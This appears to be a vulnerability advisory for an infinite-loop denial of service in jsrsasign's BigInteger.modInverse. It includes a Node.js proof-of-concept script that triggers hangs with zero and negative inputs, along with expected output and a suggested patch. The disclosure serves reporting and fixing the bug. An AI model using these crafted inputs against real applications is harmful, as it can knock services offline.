jsrsasign_modinverse_dos.md

jsrsasign: BigInteger.modInverse() Infinite Loop Denial of Service

Summary

The BigInteger.modInverse() implementation in jsrsasign (all versions through 11.1.0) enters an infinite loop on two classes of input: (A) zero values, and (B) negative values. An attacker who can influence input to any code path that calls modInverse — including RSA blinding, EC point operations, and DSA/ECDSA internals — can hang the process permanently.

Vulnerability Type

CWE-835: Loop with Unreachable Exit Condition

Severity

High

Affected Versions

All versions through 11.1.0 (latest). All versions using Tom Wu's BigInteger implementation.

Root Cause

bnModInverse uses a binary extended GCD algorithm that assumes its input a is a positive integer coprime to m. Two violations cause infinite loops:

Class A — Zero input (a = 0): The algorithm requires convergence to gcd = 1, but gcd(0, m) = m ≠ 1. The loop exit condition is unreachable and the process hangs permanently.

Examples: modInverse(0, 3), modInverse(0, 97).

Note: when a > 0 but a ≡ 0 mod m (e.g., modInverse(7, 7), modInverse(6, 3)), the algorithm does not hang but silently returns 0 — a mathematically incorrect result (the inverse does not exist). This is a correctness bug but not a DoS vector.

Class B — Negative input: bnModInverse clones this without reducing mod m first. The negative sign is preserved, causing the binary GCD subtraction steps to oscillate between positive and negative values, preventing convergence.

Examples: modInverse(-1, 7), modInverse(-7, 5), modInverse(-13, 97).

Impact

Any application using jsrsasign where untrusted input can reach modInverse is vulnerable to permanent process hang (DoS). Affected internal code paths include:

• RSA blinding: random blinding factor could theoretically be zero-equivalent after modular reduction
• EC point operations: ECFieldElementFp.prototype.divide calls modInverse; a zero z-coordinate in ECPointFp.getX/getY triggers the hang
• DSA/ECDSA signature verification: signature component s = 0 reaches modInverse(s, q) — this specific path was partially mitigated at the caller level in v7.2.0 (GitHub Issue #238), but the underlying modInverse bug was never fixed, leaving other code paths exposed

A single crafted input permanently blocks the Node.js event loop with no timeout or recovery.

PoC: Demonstrating both classes of infinite loop

The following script spawns child processes for each test vector with a timeout. A hang (killed after timeout) confirms the bug.

'use strict';
/**
 * PoC: jsrsasign BigInteger.modInverse() Infinite Loop (DoS)
 *
 * Usage:     node poc_modinverse_hang.js
 * Env:       POC_TIMEOUT=<ms> (default 3000)
 */

const cp = require('child_process');
const TIMEOUT = parseInt(process.env.POC_TIMEOUT, 10) || 3000;

function loadJsrsasign() {
  const pkgPath = require.resolve('jsrsasign/package.json');
  const pkg = require(pkgPath);
  const jsrsasign = require('jsrsasign');
  return { version: pkg.version, pkgPath, BigInteger: jsrsasign.BigInteger };
}

// ---- Test vectors ----
const VECTORS = {
  // Class A: zero input (hangs)
  A1: { a: '0',  m: '3',  label: 'modInverse(0, 3)',   cls: 'A', note: 'a=0, odd m' },
  A2: { a: '0',  m: '97', label: 'modInverse(0, 97)',  cls: 'A', note: 'a=0, prime m' },
  // Class B: negative input (hangs)
  B1: { a: '-1',  m: '7',  label: 'modInverse(-1, 7)',   cls: 'B', note: 'expected inverse=6' },
  B2: { a: '-7',  m: '5',  label: 'modInverse(-7, 5)',   cls: 'B', note: 'expected inverse=2' },
  B3: { a: '-13', m: '97', label: 'modInverse(-13, 97)', cls: 'B', note: 'expected inverse=82' },
};

function worker(vecId) {
  const { BigInteger } = loadJsrsasign();
  const v = VECTORS[vecId];
  if (!v) { console.error('Unknown vector: ' + vecId); process.exit(2); }
  console.log('Testing: ' + v.label + '  (' + v.note + ')');
  const a = new BigInteger(v.a, 10);
  const m = new BigInteger(v.m, 10);
  const r = a.modInverse(m);
  console.log('returned: ' + r.toString(10));
  process.exit(10);
}

function runVector(vecId, v) {
  process.stdout.write('  [' + vecId + '] ' + v.label + '  (' + v.note + ')\n');
  const child = cp.spawnSync(
    process.execPath, [__filename, '--worker', vecId],
    { encoding: 'utf8', timeout: TIMEOUT }
  );
  if (child.error && child.error.code === 'ETIMEDOUT') {
    console.log('       => BUG CONFIRMED: hung, killed after ' + TIMEOUT + 'ms');
    return true;
  }
  if (child.status === 10) {
    console.log('       => Not reproduced: ' + (child.stdout || '').trim());
    return false;
  }
  console.log('       => Unexpected (exit=' + child.status + ')');
  if (child.stderr) console.log('          ' + child.stderr.trim());
  return false;
}

function main() {
  const { version, pkgPath } = loadJsrsasign();
  console.log('================================================================');
  console.log('PoC: BigInteger.modInverse() Infinite Loop (DoS)');
  console.log('================================================================');
  console.log('Package : jsrsasign v' + version);
  console.log('Resolved: ' + pkgPath);
  console.log('Node    : ' + process.version);
  console.log('Timeout : ' + TIMEOUT + 'ms');
  console.log('Date    : ' + new Date().toISOString());
  console.log('');

  // --- Class A ---
  console.log('--- Class A: Zero input ---');
  console.log('Root cause: gcd(0, m) = m ≠ 1, loop exit unreachable');
  console.log('');
  let confirmedA = 0, totalA = 0;
  for (const [id, v] of Object.entries(VECTORS)) {
    if (v.cls !== 'A') continue;
    totalA++;
    if (runVector(id, v)) confirmedA++;
  }

  console.log('');

  // --- Class B ---
  console.log('--- Class B: Negative input ---');
  console.log('Root cause: negative sign not reduced, GCD subtraction oscillates');
  console.log('');
  let confirmedB = 0, totalB = 0;
  for (const [id, v] of Object.entries(VECTORS)) {
    if (v.cls !== 'B') continue;
    totalB++;
    if (runVector(id, v)) confirmedB++;
  }

  // --- Summary ---
  const total = confirmedA + confirmedB;
  console.log('');
  console.log('================================================================');
  console.log('RESULTS');
  console.log('================================================================');
  console.log('Class A (zero):     ' + confirmedA + '/' + totalA + ' confirmed hang');
  console.log('Class B (negative): ' + confirmedB + '/' + totalB + ' confirmed hang');
  console.log('Total:              ' + total + '/' + (totalA + totalB) + ' confirmed');
  console.log('');

  process.exit(total > 0 ? 0 : 1);
}

const wIdx = process.argv.indexOf('--worker');
if (wIdx !== -1) worker(process.argv[wIdx + 1] || 'A1'); else main();

Expected Output

================================================================
PoC: BigInteger.modInverse() Infinite Loop (DoS)
================================================================
Package : jsrsasign v11.1.0
Resolved: /path/to/node_modules/jsrsasign/package.json
Node    : v22.22.0
Timeout : 3000ms
Date    : 2026-xx-xxTxx:xx:xx.xxxZ

--- Class A: Zero input ---
Root cause: gcd(0, m) = m ≠ 1, loop exit unreachable

  [A1] modInverse(0, 3)  (a=0, odd m)
       => BUG CONFIRMED: hung, killed after 3000ms
  [A2] modInverse(0, 97)  (a=0, prime m)
       => BUG CONFIRMED: hung, killed after 3000ms

--- Class B: Negative input ---
Root cause: negative sign not reduced, GCD subtraction oscillates

  [B1] modInverse(-1, 7)  (expected inverse=6)
       => BUG CONFIRMED: hung, killed after 3000ms
  [B2] modInverse(-7, 5)  (expected inverse=2)
       => BUG CONFIRMED: hung, killed after 3000ms
  [B3] modInverse(-13, 97)  (expected inverse=82)
       => BUG CONFIRMED: hung, killed after 3000ms

================================================================
RESULTS
================================================================
Class A (zero):     2/2 confirmed hang
Class B (negative): 3/3 confirmed hang
Total:              5/5 confirmed

Suggested Fix

Add input normalization and zero check at the entry of bnModInverse:

function bnModInverse(m) {
  var a = this.mod(m);                                    // Fix Class B: reduce negative input
  if (a.signum() === 0) throw new Error("not invertible"); // Fix Class A: reject zero
  // ... existing binary extended GCD code using 'a' instead of 'this' ...
}

Both lines are required — this.mod(m) alone does not fix Class A because 0 mod m = 0.

History

GitHub Issue #238 (February 2017) reported the symptom when DSA verification received s = 0. The fix in v7.2.0 added a caller-level boundary check in KJUR.crypto.DSA.verifyWithMessageHash to reject s ≤ 0. However, the root cause in BigInteger.modInverse was never fixed, and no CVE was assigned. All other code paths that call modInverse (RSA blinding, EC field arithmetic, etc.) remain vulnerable.

References

• jsrsasign GitHub repository
• jsrsasign issue #238 — related caller-level fix only
• Tom Wu's jsbn BigInteger — original source of bnModInverse